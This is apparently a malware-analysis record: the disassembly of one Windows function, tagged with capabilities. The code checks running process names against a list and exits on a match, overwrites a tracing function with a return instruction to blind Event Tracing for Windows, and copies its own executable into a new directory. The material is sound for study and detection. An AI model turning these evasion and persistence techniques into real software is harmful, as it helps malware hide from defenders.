Function at 0x140002790
Capabilities:
Allocate or change rwx memory
Copy file
Create directory
Enumerate processes
Patch event tracing for windows function
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x330]
sub rsp, 0x430
mov rax, qword [0x140005030]
xor rax, rsp
mov qword [rbp + 0x320], rax
mov r14d, r8d
mov edi, edx
xor r15d, r15d
lea rsi, [r15 - 1]
test ecx, ecx
je 0x14000292b
lea rax, [0x140001178]
mov qword [rbp + 0x1c0], rax
lea rax, [0x140001188]
mov qword [rbp + 0x1c8], rax
lea rax, [0x140001198]
mov qword [rbp + 0x1d0], rax
lea rax, [0x1400011a8]
mov qword [rbp + 0x1d8], rax
lea rax, [0x1400011b8]
mov qword [rbp + 0x1e0], rax
lea rax, [0x1400011d0]
mov qword [rbp + 0x1e8], rax
lea rax, [0x1400011e0]
mov qword [rbp + 0x1f0], rax
lea rax, [0x1400011f0]
mov qword [rbp + 0x1f8], rax
lea rax, [0x140001200]
mov qword [rbp + 0x200], rax
lea rax, [0x140001210]
mov qword [rbp + 0x208], rax
mov dword [rbp - 0x80], 0x238
xor edx, edx
lea ecx, [rsi + 3]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
lea rdx, [rbp - 0x80]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000292b
nop
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x210]
call sub.VCRUNTIME140.dll_memset
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x104
lea rax, [rbp + 0x210]
mov qword [rsp + 0x20], rax
mov r9d, esi
lea r8, [rbp - 0x54]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov r9, r15
nop word [rax + rax]
lea rax, [rbp + 0x210]
mov r8, qword [rbp + r9*8 + 0x1c0]
sub r8, rax
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140002905
inc rax
test ecx, ecx
jne 0x1400028f2
test edx, edx
je 0x140002ada
inc r9
cmp r9, 4
jl 0x1400028e0
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140002890
test edi, edi
je 0x1400029e3
lea rcx, [0x140001230]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, [0x140001220]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov byte [rsp + 0x40], 0xc3
mov dword [rsp + 0x44], r15d
mov qword [rsp + 0x48], 0x1000
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
lea ecx, [rdx + 0x28]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
lea rax, [rsp + 0x44]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
mov qword [rsp + 0x20], r15
mov r9d, 1
lea r8, [rsp + 0x40]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
lea rax, [rsp + 0x44]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x44]
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
test r14d, r14d
je 0x140002b52
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x210]
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x104
lea rdx, [rbp + 0x210]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], 0xf
mov byte [rsp + 0x58], r15b
lea rax, [rbp + 0x210]
inc rsi
cmp byte [rax + rsi], r15b
jne 0x140002a34
mov r8, rsi
lea rdx, [rbp + 0x210]
lea rcx, [rsp + 0x58]
call fcn.140003190
nop
lea rdi, [rsp + 0x58]
mov rsi, qword [rsp + 0x58]
mov r15, qword [rsp + 0x70]
cmp r15, 0x10
cmovae rdi, rsi
mov rax, qword [rsp + 0x68]
cmp rax, 8
jb 0x140002aec
lea r14, [rax + rdi]
lea r8, [r14 - 7]
sub r8, rdi
mov edx, 0x43
mov rcx, rdi
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
je 0x140002aec
nop dword [rax]
nop dword [rax + rax]
mov r8d, 8
lea rdx, [0x1400012e0]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140002ae3
inc rbx
lea r8, [r14 - 7]
sub r8, rbx
mov edx, 0x43
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
jne 0x140002aa0
jmp 0x140002aec
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
sub rbx, rdi
cmp rbx, 0xffffffffffffffff
jne 0x140002b18
xor edx, edx
lea rcx, [0x1400012f0]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
xor r8d, r8d
lea rdx, [0x1400012f8]
lea rcx, [rbp + 0x210]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
call fcn.140001d20
nop
cmp r15, 0x10
jb 0x140002b52
lea rdx, [r15 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140002b4a
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002b4a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.140003660
mov rcx, qword [rbp + 0x320]
xor rcx, rsp
call fcn.140003640
lea r11, [rsp + 0x430]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret